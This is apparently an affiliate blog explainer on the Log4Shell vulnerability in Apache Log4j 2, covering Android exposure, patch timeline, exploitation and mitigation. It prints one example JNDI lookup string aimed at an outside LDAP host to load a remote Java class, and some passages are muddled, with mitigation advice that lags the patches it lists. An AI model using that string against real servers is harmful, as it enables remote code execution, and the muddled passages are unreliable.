Yoodley is reader-supported. When you buy through links on our site, we may earn an affiliate commission.
More than one million machines around the world operate online services thanks to Log4j, which has a severe vulnerability known as Log4shell. It is expected to influence a wide spectrum of people, including organizations, governments, and individuals. Despite the fact that patches have been issued, they must still be applied.
Does the Log4j vulnerability affect Android users?
Android OS utilizes its own logging library, even though parts of it are written in Java. Because it doesn’t rely on the JNDI protocol or service, Android OS isolates each app. However, history has shown that Android is not without problems and exploits, resulting in more security with each new iteration. This JNDI attack can’t be used on Android.
Although Java is used by Android apps as well, are those apps vulnerable to this new flaw? The apps you’re using and the Android version you’re running are both factors to consider. According to the official response from Google, this vulnerability may not affect Android apps as the platform uses its own logging library and does not require JNDI calls (see below). In addition, each app is completely segregated from the rest of the app store.
In contrast, if the Java-based backend servers utilized by these Android apps are vulnerable, an attacker might use any mobile app to transmit a malicious payload to the server and execute their own commands on it.
What is Log4Shell?
There is a security flaw in Apache Log4j 2’s Log4Shell, a widely used Java library for logging application error messages. Known as CVE-2021-44228, the flaw allows a remote attacker to gain control of a device running specific versions of Log4j 2 over the internet.
CVE-2021-44228 was fixed in Apache 2.15 on December 6th, 2021. As a result of this, CVE-2021-45046 was discovered on December 13th and a second patch, version 2.16, was deployed on December 13th. CVE-2021-45105, a similar vulnerability, was fixed in Apache version 2.17 released on December 17th. On the 28th of December, they released a fourth patch, 2.17.1, to address CVE-2021-44832, yet another vulnerability.
Text messages can be used by attackers to take remote control of a machine. Because of its potential for widespread exploitation and the ease with which hostile attackers might exploit it, the Apache Software Foundation, which distributes the Log4j 2 library, gave the vulnerability a CVSS severity score of 10 out of 10, the maximum level. The fundamentals of the Log4j vulnerability will not change, even as mitigation and damage progress.
When did experts discover the original vulnerability in the Log4j 2 library?
Security researcher Chen Zhaojun of Alibaba, China’s most popular e-commerce site, originally reported the flaw on November 24 to the Apache Foundation (an open-source initiative). On December 9, they identified an attack on Minecraft servers. Cybercriminals have already discovered and exploited this hole by December 1, 2021, according to additional forensic investigation.
What’s the risk from the Log4Shell vulnerability in the Log4j 2 library?
The Log4Shell vulnerability is deemed a zero-day since it was discovered and exploited by criminals before it was discovered and exploited by security experts.
The Log4j 2 library’s widespread use is what makes the Log4j 2 vulnerability so hazardous. Amazon Web Services (AWS), VMware (VMware), and services of all sizes use it. When many platforms and services are affected, patching can be a lengthy and time-consuming operation.
The vulnerability’s impact is amplified by the ease with which it can be exploited. Code and information are logged using the Log4j 2 library. The vulnerability allows malicious code to be executed remotely by taking over control of a string and convincing the program to execute it. As a result, any internet-connected service that employs specific Log4j library versions can be taken over remotely by attackers.
How does the Log4Shell vulnerability cause damage?
For this reason, malicious code from the outside can be easily fed into the Log4j 2 library, causing it to download and run potentially harmful code from a hostile source.
There are a variety of ways in which Log4j 2 might be exploited by hackers. Mass scanning to identify susceptible systems has been the primary method of malicious activity thus far. According to Microsoft research, attackers have been making use of this vulnerability to breach virtualized infrastructure, install and execute ransomware, steal system credentials, take full control of affected networks, and exfiltrate data.
Log4Shell’s exploitability has been widely reported, and the potential for malicious action seems to be growing exponentially. In order to gain access to sensitive configuration data, malicious actors can run whatever malware they want on the infected device. It’s possible for attackers to gain complete control of a system by obtaining this data. This is like a thief who has the combination of the safe and the front door’s key.
Why is the Log4j vulnerability so important?
In most Java applications, Log4j is used. There are an estimated 2.5 billion to 3 billion devices that could be compromised by this security flaw. In addition, a major portion of the enterprise relies on java-based software.
More than 1,272,000 hacking attempts have been made so far, and over 44% of corporate networks worldwide have been compromised by this vulnerability, according to statistical data. Cryptocurrency mining exploits using the Log4j vulnerability have been identified in considerable numbers recently.
It is possible for attackers to remotely run whatever code they want and access all of the data on the compromised machine with Log4Shell (CVE 2021-44228). They can also encrypt all files on the infected machine and demand a ransom for their return if they so want. Using a vulnerable version of Log4j to log user-controllable data makes it a possible target.
How can attackers exploit the vulnerability?
It is possible to reference external information in log4j messages by using the Java Naming and Directory Interface (JNDI) (JNDI). A variety of protocols, such as the Lightweight Directory Access Protocol, can be used to obtain information (LDAP).
For instance, if the following string is found in a log message by Log4j:
${jndi:ldap:/prplbx.com/security}
It tells the JNDI to look up the “security” object on the LDAP server at “prplbx.com.” Java classes that an LDAP server references will be executed through JNDI by design. The answer from the LDAP server will automatically request and execute the file security.class from the webserver if it specifies the URL https://prplbx.com/security.
JNDI references pointing to LDAP servers controlled by attackers can be inserted into log messages, allowing them to serve malicious Java classes that perform any action they like.
How to mitigate the Log4j 2 vulnerability?
A patch from the vendor has been released, and customers are urged, if feasible, to upgrade their Log4j to version 2.16.0. Vulnerability can be lessened with the help of the tips and techniques listed below:
1. Update Your Servers
- Log4j 2.16.0 and above is the best way to protect against these flaws:
- Release 2.16.0 is recommended for Java 8 and later users.
- Release 2.12.2, when it is available, is recommended for Java 7 users (work in progress, expected to be available soon).
This vulnerability only affects the log4j-core JAR file. The log4j-api JAR file is not affected by this vulnerability, as it does not include the log4j-core JAR file.
2. Firewall
Protecting servers using outgoing firewall rules helps keep them safe from intruders. If the server is able to perform DNS lookups, an attacker can search for log4j2 instances that are vulnerable and use that information to launch a DNS assault. Despite the fact that attackers are able to circumvent firewalls, having a firewall in place can help protect against a real attack.
3. Remove the jar files
Log4j2 logging will stop if the jar files are removed, but this is the weakest repair method because it is obtrusive and prone to error.
